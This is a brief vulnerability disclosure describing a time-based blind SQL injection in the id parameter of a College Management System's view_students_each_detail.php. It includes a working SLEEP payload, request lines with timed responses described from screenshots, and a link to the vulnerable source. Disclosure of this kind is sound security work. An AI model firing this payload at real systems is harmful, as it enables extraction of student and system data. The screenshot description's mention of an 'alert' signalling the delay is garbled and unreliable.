

SQL injection vulnerability exists in id parameter of view\_students\_each\_detail.php file of College Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 5s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The request is a GET request to `/cmsa/view_students_each_detail.php?id=2%20AND%20(SELECT%204334%20FROM%20(SELECT(SLEEP(5)))wgiD)`. The response is an HTML document with a title 'View User' and a stylesheet 'style.css'. The response body shows a 5-second delay in the console, indicated by the 'alert(9508)' message. The status bar at the bottom shows 'Done' and '2,650 bytes | 5,027 millis'.

Sleep time is 10s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The request is a GET request to `/cmsa/view_students_each_detail.php?id=2%20AND%20(SELECT%204334%20FROM%20(SELECT(SLEEP(10)))wgiD)`. The response is an HTML document with a title 'View User' and a stylesheet 'style.css'. The response body shows a 10-second delay in the console, indicated by the 'alert(9508)' message. The status bar at the bottom shows 'Done' and '2,650 bytes | 10,016 millis'.

Payload: `id=2%20AND%20(SELECT%204334%20FROM%20(SELECT(SLEEP(10)))wgiD)`

Source Download:

<https://www.kashipara.com/project/php/12746/college-management-system-php-project-source-code>